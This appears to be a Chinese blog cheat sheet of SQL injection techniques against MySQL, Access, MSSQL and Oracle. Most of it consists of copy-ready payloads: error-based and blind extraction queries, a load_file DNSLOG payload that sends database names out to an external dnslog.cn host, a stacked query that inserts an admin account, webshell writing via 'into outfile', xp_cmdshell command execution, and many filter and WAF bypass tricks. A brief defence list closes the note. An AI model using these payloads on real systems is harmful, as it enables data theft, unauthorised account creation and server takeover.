web安全 SQL注入常用查询笔记

一、MySQL 注入核心知识点

MySQL 默认系统库

安装 MySQL 以后必定会自带的库information_schema:核心库:存放所有数据库、表、字段数据

关键schemata:存所有数据库名tables:存所有表名、所属数据库columns:存所有字段名、所属表和数据库

MySQL 注入分类

联合查询注入、报错注入、布尔盲注、时间盲注、UA/Referer/Cookie 注入、宽字节、堆叠注入、DNSLOG 外带、文件读写 Getshell

常用核心函数

报错函数

extractvalue 原理:XPath 语法格式错误时触发报错

字符型:'and+(extractvalue(1,concat(0x7e,(select+user()))))='1
数字型:and (extractvalue(1,concat(0x7e,(select user()))))=1

updatexml 原理:同上XPath 格式触发报错

字符型:'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型:and+(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))=1

GTID_SUBSET ()原理:利用 GTID 格式校验错误,爆出数据库账号

'-GTID_SUBSET(user(),1)-'
字符串截取函数

left :从左侧截取指定位数

mid :从指定位置截取

substr/substring :注入最常用截取函数

判断与编码函数

if (条件,真执行,假执行):时间盲注核心

if(a,b,c)

当a为真时候执行 b

a为假时执行 c

常用时间盲注

and if('a'='a',sleep(1),sleep(5)) --+

case when

case when 条件  then 正确的结果 else 错误的结果 end

例如:

1'and+1/(case+when+user()+like+'r%'+then+1+else+0+end)='1

ascii

返回字符串的ascii码

Ascii(substr(a,b,c))=98

例如:

1%27and+ascii(substr(user(),1,1))='114

length

length(str) 函数的返回值为字符串的字节长度

例如:

数据库长度等于8时,页面返回正常,说明数据库名只有8个字节长度。

1'and+length(database())='8

判断数据库类型

php的网站,常用数据库为MySQL,PostgreSQL

判断数据库类型:

端口号:

MYSQL:3306

PostgreSQL:5432

联合查询注入

流程:判断列数 → 寻找显示位 → 爆库→爆表→爆字段→爆数据

判断列数:order by 数字,报错则超出列数

联合查询语法:union select 1,2,3...

常用函数:group_concat ():拼接所有表 / 字段 / 数据,一次性回显

distinct:去重,避免重复数据

limit 1,1:查询1条数据,索引从1开始,第1条记录

报错注入

适用场景:无正常回显、但有 SQL 错误提示

原理:利用 extractvalue/updatexml XPath 语法非法,把查询数据拼到报错信息里

缺点:单次只能回显 32 位,超长内容需分段截取

布尔盲注

场景:页面只返回正常 / 异常两种状态,无报错无数据回显的情况下

原理:通过页面状态、响应包长度判断条件真假

流程:猜数据库长度→逐字符 ASCII 比对→猜表、猜字段、猜账号密码

时间盲注

场景:页面无论对错都返回一样,只能靠响应时间差判断

核心:sleep (n)

配合 if 函数句式

' and if (substr (database (),1,1)='s',sleep (3),1)--+

响应延迟说明条件成立,以此逐字爆破

HTTP 头注入

UA 注入原理:网站将 User-Agent 写入数据库,未过滤直接执行 SQL利用:Burp 修改 UA 头,带入报错注入 payload

Referer 注入原理:记录访问来源 Referer,直接拼入 SQL 语句利用:修改 Referer 字段构造注入语句

Cookie 注入原理:过滤了 GET/POST 参数,忽略 Cookie 参数利用:修改 Cookie 中的参数,加单引号测试闭合,后续同普通注入

DNSLOG 外带注入

适用:无回显、盲注太慢、怕封 IP 场景

条件:MySQL root 权限secure_file_priv 为空服务器为 Windows 系统

原理:利用 load_file () 发起 DNS 解析请求,把数据库信息拼为子域名,在 DNSLOG 平台查看解析日志

要点:特殊字符需 Hex (16进制)编码,避免域名解析失败

' and (select load_file(concat('\\\\',database(),'.xxx.dnslog.cn/abc')))--+

宽字节注入

原理:数据库 GBK 编码,两个字节视为一个汉字绕过

逻辑:输入 % df%27,后台转义为 % df%5c%27,% df%5c 拼成一个汉字,吃掉转义符 \,单引号成功闭合

适用:PHP+MySQL GBK 编码、自带转义防护的场景

堆叠注入

原理:分号;结束当前 SQL,拼接多条 SQL 语句执行

区别:Union 只能查数据,堆叠可增删改、插账号、执行

任意 SQL句式

';insert into users (id,username,password) values (100,'admin','123456')--+

文件读写 Getshell

前提:root 高权限secure_file_priv 无限制

知晓网站绝对路径读文件:load_file (文件路径)

写木马:union select 一句话木马 into outfile 网站路径

二、Access 注入

适用:ASP 网站默认数据库特征:无系统库、无 information_schema,只能手工猜表、猜列判断库类型:

Access:and exists (select * from msysobjects)Mssql:and exists (select * from sysobjects)

注入流程:猜表名→猜列名→判断字段长度→逐字爆数据常用方式:逐字 ASCII 猜解法偏移注入:不知道列名时用 * 代替所有字段绕过风险:通用 ASP 防注入脚本存在文件写入漏洞,可直接传木马

三、Mssql & Oracle 注入

Mssql(SQL Server)注入

4 大系统库:master、model、msdb、tempdb

报错注入:利用数据类型转换报错 'or 1=convert (int,@@version)--

常用函数:charindex、patindex、replace、replicate

高危操作:开启 xp_cmdshell 执行系统命令备份日志、差异备份写入一句话木马可直接执行系统命令、拿服务器权限。

Oracle 注入

报错注入:利用 dbms_utility.sqlid_to_sqlhash、extractxmlagg 等函数触发报错

盲注:decode () 函数替代 if,配合 substrB 逐字猜解

关键查询:v$version 查版本、all_users 查账号。

四、SQL 注入 Bypass 绕过

等号 = 被过滤

用大小于号:> <<>(不等于)

模糊匹配:like、rlike、regexp 正则

集合匹配:in、between 字符 and 字符。

substr/mid 截取函数被过滤

替代函数:locate、position、instr 实现字符位置判断

substr加ing相同意思substring

或者使用 left right

逗号,被过滤

URL 编码绕过 % EF% BC%8C语法绕过:substr (字符串 from 起始 for 长度) 不用逗号

mid('abc',1,1) mid('abc' from 1 for 1 ) mid被过滤用substr

for也被过滤mid('abc' from -1) right也可以平替-1

limit被过滤

limit0,1 limit 1 offset 0

and/or 被过滤

替换为 &&、||配合 like、if 逻辑替代

通用关键字绕过

大小写绕过:SelEct、dAtaBASE双写绕过:selselectect、ununionion注释绕过:/**/、--+、#、%00编码绕过:URL、ASCII、Hex、Unicode 编码

union select 1,2,3逗号被过滤  union select * from (select 1)a join(select 2)b join (select 3)c

空格被过滤 %09 %0a(换行符) %0b %0c %0d %a0 %00 /**/ /*!select*/低版本可用       ()括号             --%0a

五、SQL 注入防御方案

特殊字符过滤:过滤单引号、双引号、分号、and/or、union、select 等关键字

参数化查询 / 预编译:MyBatis、PDO 预编译语句,杜绝 SQL 拼接

权限最小化:数据库账号不使用 root/sa 高权限,限制文件读写、命令执行

关闭高危函数:MySQL 关闭 load_file、into outfile;Mssql 关闭 xp_cmdshell

WAF 防护:部署 Web 应用防火墙,拦截异常 SQL payload

统一编码规范:避免 GBK 宽字节漏洞,统一 UTF-8 编码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值